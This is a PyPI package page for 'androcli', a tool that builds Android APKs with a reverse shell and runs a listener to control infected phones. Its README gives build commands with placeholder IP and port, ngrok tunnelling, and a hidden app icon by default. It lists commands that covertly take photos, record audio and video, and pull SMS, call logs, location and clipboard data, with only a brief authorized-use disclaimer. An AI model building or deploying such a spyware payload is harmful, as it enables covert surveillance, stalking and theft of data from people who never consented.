Skip to main content

AndroCliW - Android CLI Tool

PyPI version Python License: MIT

AndroCliW is a powerful command-line tool for Android penetration testing and reverse shell operations. This tool allows you to build APK files with reverse shell capabilities and interact with Android devices remotely.

Features

  • 🔧 APK Building: Build custom APK files with reverse shell capabilities
  • 🌐 Ngrok Integration: Use ngrok for tunneling connections
  • 📱 Remote Shell: Get interactive shell access to Android devices
  • 🎯 Penetration Testing: Designed for security professionals and researchers
  • 🔒 Stealth Options: Configurable icon visibility for stealth operations

Installation

From PyPI (Recommended)

pip install androcli

From Source

git clone https://github.com/AryanVBW/androcli.git
cd androcli
pip install -e .

Requirements

  • Python 3.6 - 3.8
  • Java 8 (for APK building)
  • Android SDK (optional, for advanced features)

Usage

Basic Commands

# Build an APK with reverse shell
androcli --build -i <IP_ADDRESS> -p <PORT> -o <OUTPUT_APK_NAME>

# Start shell listener
androcli --shell -i <IP_ADDRESS> -p <PORT>

# Build APK with ngrok tunneling
androcli --build --ngrok -p <PORT> -o <OUTPUT_APK_NAME>

# Build APK with hidden icon
androcli --build -i <IP_ADDRESS> -p <PORT> -o <OUTPUT_APK_NAME> --icon

Command Line Options

  • --build: Build the APK file
  • --shell: Start the shell listener
  • --ngrok: Use ngrok for tunneling
  • -i, --ip <IP>: Specify the IP address
  • -p, --port <PORT>: Specify the port number
  • -o, --output <NAME>: Specify the output APK name
  • --icon: Make the app icon visible (default: hidden)

Shell Commands

Once connected to a device, you can use various commands:

  • deviceInfo: Get basic device information
  • camList: List available cameras
  • takepic [cameraID]: Take a picture
  • startVideo [cameraID]: Start video recording
  • stopVideo: Stop video recording
  • startAudio: Start audio recording
  • stopAudio: Stop audio recording
  • getSMS [inbox|sent]: Get SMS messages
  • getCallLogs: Get call logs
  • shell: Start interactive shell
  • vibrate [times]: Vibrate the device
  • getLocation: Get device location
  • getIP: Get device IP address
  • getSimDetails: Get SIM card details
  • getClipData: Get clipboard data
  • getMACAddress: Get MAC address
  • clear: Clear screen
  • exit: Exit the session

Project Structure

androcli/
├── androcli/
│   ├── __init__.py
│   ├── main.py
│   └── utils.py
├── Android_Code/          # Android source code
├── Compiled_apk/          # Pre-compiled APK template
├── Jar_utils/             # Java utilities (apktool, signing)
├── Dumps/                 # Output directory for captured data
├── setup.py
├── requirements.txt
└── README.md

Security Notice

⚠️ Important: This tool is designed for educational purposes and authorized penetration testing only. Users are responsible for ensuring they have proper authorization before using this tool on any devices or networks. Unauthorized access to computer systems is illegal.

Legal Disclaimer

This tool is provided for educational and research purposes only. The authors and contributors are not responsible for any misuse or damage caused by this tool. Always ensure you have explicit permission before testing on any systems you do not own.

Contributing

Contributions are welcome! Please feel free to submit a Pull Request. For major changes, please open an issue first to discuss what you would like to change.

License

This project is licensed under the MIT License - see the LICENSE file for details.

Author

AryanVBW

Support

If you encounter any issues or have questions, please open an issue on GitHub.


Note: This tool requires Java 8 for APK building functionality. Make sure you have the appropriate Java version installed and configured in your system PATH.

Metadata

Release files for androcli 1.0.0

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for androcli 1.0.0
File Size Uploaded
androcli-1.0.0.tar.gz 26.6 MB Details

Built distribution (wheel)

Table of built distributions (wheels) for androcli 1.0.0
File Interpreter ABI Platform
androcli-1.0.0-py3-none-any.whl Python 3 none any Details

Total release size: 55.5 MB

Release files / androcli-1.0.0.tar.gz

Download URL androcli-1.0.0.tar.gz
Size 26.6 MB
Tags Source
SHA-256 checksum
How to use checksums
dcf37c9eae75d53636e69ee46e416afe99bc0b22c46bb79282a7fcb2aa936e68
BLAKE2b-256 checksum
How to use checksums
b358911a6a604086858c693640c02f0a4f46c341b4b1e20e94630506b4839cc6
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/6.1.0 CPython/3.13.5

Release files / androcli-1.0.0-py3-none-any.whl

Download URL androcli-1.0.0-py3-none-any.whl
Size 28.9 MB
Tags Python 3
SHA-256 checksum
How to use checksums
db0fa985eb9d03b14c5f6c3bd3d071f71c8d4b52f1330729ed8796b94127f6f9
BLAKE2b-256 checksum
How to use checksums
1ad1b997eafd1c33176195dde714f4d9187944ef2969d61fb16ecf28a954dfef
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/6.1.0 CPython/3.13.5

Release history Release notifications | RSS feed

This release

1.0.0 This release

2 release files

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page